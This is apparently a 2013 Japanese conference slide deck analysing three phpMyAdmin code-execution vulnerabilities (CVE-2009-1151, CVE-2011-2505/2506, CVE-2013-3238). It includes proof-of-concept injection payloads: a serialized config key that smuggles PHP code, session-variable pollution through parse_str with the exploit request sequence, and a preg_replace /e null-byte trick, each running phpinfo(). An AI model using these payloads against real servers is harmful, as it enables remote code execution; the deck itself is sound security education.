690 Views
July 31, 13
スライド概要
phpMyAdminにおける スクリプト実行可能な脆弱性3種盛り合わせ HASH コンサルティング株式会社 徳丸 浩
アジェンダ • 今日はphpMyAdminにおける「スクリプト実行可能な脆 弱性」を3種類紹介します – CVE-2009-1151 – CVE-2011-2505 / CVE-2011-2506 – CVE-2013-3238 • まとめ Copyright © 2013 HASH Consulting Corp. 2
はじめに • (サーバーサイド)スクリプト実行可能な脆弱性と いうと… • OSコマンドインジェクション • evalインジェクション • Local File Inclusion (LFI) / Remote File Inclusion(RFI) • スクリプトファイルのアップロード • … • 今回紹介するものはどれでもない Copyright © 2013 HASH Consulting Corp. 3
phpMyAdminとは… Copyright © 2013 HASH Consulting Corp. 4
CVE-2009-1151 Copyright © 2013 HASH Consulting Corp. 5
CVE-2009-1151 http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html 6
セットアップ内容のセーブ Copyright © 2013 HASH Consulting Corp. 7
configurationはシリアライズされたオブジェクト configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"h ost";s:9:"localhost";s:9:"extension";s:5:"mysql";s:1 2:"connect_type";s:3:"tcp";s:8:"compress";b:0;s:9:" auth_type";s:6:"config";s:4:"user";s:4:"root";}}} Copyright © 2013 HASH Consulting Corp. 8
configurationからPHPソースが作られる
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:9:"localhost
";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"comp
ress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
Copyright © 2013 HASH Consulting Corp.
9
値に「’」を入れると、ちゃんとエスケープされる
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:11:"localho
st'a";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"c
ompress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'] = 'localhost¥'a';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
Array (
[Servers] => Array (
[0] => Array (
[host] => localhost'a
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
Copyright © 2013 HASH Consulting Corp.
10
でも、キー側の「’」はエスケープされない ^^;
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:6:"host'a";s:9:"localho
st";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"co
mpress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
$i++;
$cfg['Servers'][$i]['host'a'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
Array (
[Servers] => Array (
[0] => Array (
[host'a] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)
Copyright © 2013 HASH Consulting Corp.
11
キーにスクリプトを注入可能
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:19:"host']=phpinfo();//";s:9:
"localhost";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"
compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
Array (
[Servers] => Array (
[0] => Array (
[host'']=phpinfo();//] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
$i++;
)
$cfg['Servers'][$i]['host’]=phpinfo();//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
Copyright © 2013 HASH Consulting Corp.
12
あーあ、サーバー側でスクリプトが… Copyright © 2013 HASH Consulting Corp. 13
CVE-2011-2505 / CVE-2011-2506 Copyright © 2013 HASH Consulting Corp. 14
CVE-2011-2505
• 細工をしたクエリ文字列を通して、セッション変数
を変更できる
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset); // セッションIDの変更
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
libraries/auth/swekey/swekey.auth.lib.php 266行目以降
Copyright © 2013 HASH Consulting Corp.
15
parse_str 関数 http://php.net/manual/ja/function.parse-str.php 16
parse_str 関数の実行例
<?php
session_start();
parse_str('a=xyz&b[x]=p23&_SESSION[user]=yamada');
var_dump($a);
var_dump($b);
var_dump($_SESSION);
【実行結果】
string(3) "xyz"
array(1) {
["x"]=>
string(3) "p23"
}
array(1) {
["user"]=>
string(6) "yamada"
}
Copyright © 2013 HASH Consulting Corp.
17
CVE-2011-2506 http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html 18
// servers
if ($cf->getServerCount() > 0) {
$ret .= "/* Servers configuration */$crlf¥$i = 0;" . $crlf . $crlf;
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf
setup/lib/ConfigGenerator.class.php 38行目
• サーバー名(getServerName())は、コメント記号
をサニタイジングしている
• $idの方はサニタイジングしていない → 脆弱性
• CVE-2011-2505により、$idに攻撃コードが注
入できる
Copyright © 2013 HASH Consulting Corp.
19
exploitの流れ セッションID、トークンの取得など GET /phpmyadmin/setup/index.php セッション変数汚染 GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト 攻撃コードの埋め込み(ファイルへの保存) POST /phpmyadmin/setup/config.php 攻撃コードの実行 GET /phpmyadmin/config/config.inc.php?eval=攻撃コード Copyright © 2013 HASH Consulting Corp. 20
CVE-2013-3238 Copyright © 2013 HASH Consulting Corp. 21
CVE-2013-3238 http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html 22
テーブルの接頭辞を変更する機能 Copyright © 2013 HASH Consulting Corp. 23
/e¥0 をphpinfo()に変更する操作を実行してみる Copyright © 2013 HASH Consulting Corp. 24
Phpinfo()が実行された ^^; Copyright © 2013 HASH Consulting Corp. 25
攻撃ができる理由 case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); $from_pref = "/e¥0" preg_replace("/^/e¥0/", "phpinfo();", "test"); PHP5.4.3以前では、¥0以降は無視される preg_replace("/^/e", "phpinfo();", "test"); Copyright © 2013 HASH Consulting Corp. 26
/e 修飾子… http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php 27
/e 修飾子…続き http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php 28
脆弱性が混入した要因 • preg_replaceに渡す正規表現をエスケープして いなかった – 最低限、/ をエスケープする必要がある preg_replace(“/^” . $from_prefix . “/”, … ↓ reg_replace("/^" . preg_quote($from_prefix, '/') . "/", … • えーっと、preg_quoteって、マルチバイト対応 だっけ? – Shift_JIS以外では問題ない? Copyright © 2013 HASH Consulting Corp. 29
まとめ • phpMyAdminのスクリプト実行可能な脆弱性3種 類を紹介しました • うち、2種類は比較的基本的なもの…脆弱性診 断でも見つかる? • Setup用のスクリプトが外部から叩けるという状 況がそもそもおかしい気が… – phpMyAdminが標準的な導入・運用のスタイルを提 供していない? • 脆弱性の入り方は酷いと思うけど、脆弱性って 大抵酷いものだよねw Copyright © 2013 HASH Consulting Corp. 30